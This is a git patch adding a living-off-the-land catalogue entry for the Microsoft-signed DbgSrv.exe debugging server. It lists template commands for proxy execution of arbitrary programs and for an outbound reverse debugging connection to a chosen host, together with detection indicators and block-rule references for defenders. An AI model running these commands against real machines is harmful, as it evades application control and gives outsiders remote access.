From ad1b54bd9bef0c00735dcd0f5e081f64abb638a0 Mon Sep 17 00:00:00 2001
From: PhyoPaingHtun ChiLai <83696447+PhyoPaingHtun@users.noreply.github.com>
Date: Wed, 29 Jul 2026 16:50:16 +0700
Subject: [PATCH] Create Dbgsrv.yml

---
 yml/OtherMSBinaries/Dbgsrv.yml | 53 ++++++++++++++++++++++++++++++++++
 1 file changed, 53 insertions(+)
 create mode 100644 yml/OtherMSBinaries/Dbgsrv.yml

diff --git a/yml/OtherMSBinaries/Dbgsrv.yml b/yml/OtherMSBinaries/Dbgsrv.yml
new file mode 100644
index 00000000..e8a4d211
--- /dev/null
+++ b/yml/OtherMSBinaries/Dbgsrv.yml
@@ -0,0 +1,53 @@
+---
+Name: DbgSrv.exe
+Description: A process server included with Debugging Tools for Windows for remote user-mode debugging.
+Author: Phyo Paing Htun
+Created: 2026-07-29
+Commands:
+  - Command: dbgsrv.exe -t tcp:port=5005 -c {CMD}
+    Description: Creates a process server and launches the specified command using the DbgSrv.exe -c option.
+    Usecase: Proxy execution of a command through a trusted Microsoft-signed debugging utility.
+    Category: Execute
+    Privileges: User
+    MitreID: T1127
+    OperatingSystem: Windows
+    Tags:
+      - Execute: CMD
+
+  - Command: dbgsrv.exe -t tcp:clicon={HOST},port={PORT}
+    Description: Establishes an outbound reverse connection from the DbgSrv process server to a remote debugging client using the clicon option. A connected debugging client can subsequently interact with processes through the remote debugging session.
+    Usecase: Establish a reverse remote-debugging channel through a trusted Microsoft-signed developer utility.
+    Category: Execute
+    Privileges: User
+    MitreID: T1127
+    OperatingSystem: Windows
+    Tags:
+      - Execute: Remote
+
+Full_Path:
+  - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe
+  - Path: C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\dbgsrv.exe
+  - Path: C:\Program Files\Debugging Tools for Windows (x64)\dbgsrv.exe
+  - Path: C:\Program Files\Debugging Tools for Windows (x86)\dbgsrv.exe
+
+Code_Sample:
+  - Code: https://gist.github.com/analyticsearch/de5c05229d5bf4f8c72016a2a43034eb
+
+Detection:
+  - IOC: DbgSrv.exe spawning a child process after execution with the -c option.
+  - IOC: DbgSrv.exe command lines containing -c, -pc, clicon=, or hidden.
+  - IOC: DbgSrv.exe establishing an unexpected outbound connection to an external host.
+  - IOC: DbgSrv.exe communicating over ports that are not approved for remote debugging.
+  - IOC: DbgSrv.exe executed from outside an expected Windows Kits or Debugging Tools directory.
+  - IOC: DbgSrv.exe spawning a command interpreter, script engine, or executable from a user-writable directory.
+  - IOC: A normally network-inactive process, such as notepad.exe, initiating an external connection shortly after DbgSrv.exe establishes a connection to the same host or infrastructure.
+  - IOC: DbgSrv.exe launched by explorer.exe on a system where interactive remote debugging is not expected.
+  - BlockRule: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol
+
+Resources:
+  - Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/dbgsrv-command-line-options
+  - Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/activating-a-process-server
+  - Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools
+  - Link: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol
+  - Link: https://redcanary.com/blog/threat-detection/black-hat-detecting-the-unknown-and-disclosing-a-new-attack-technique/
+  - Link: https://gist.github.com/analyticsearch/de5c05229d5bf4f8c72016a2a43034eb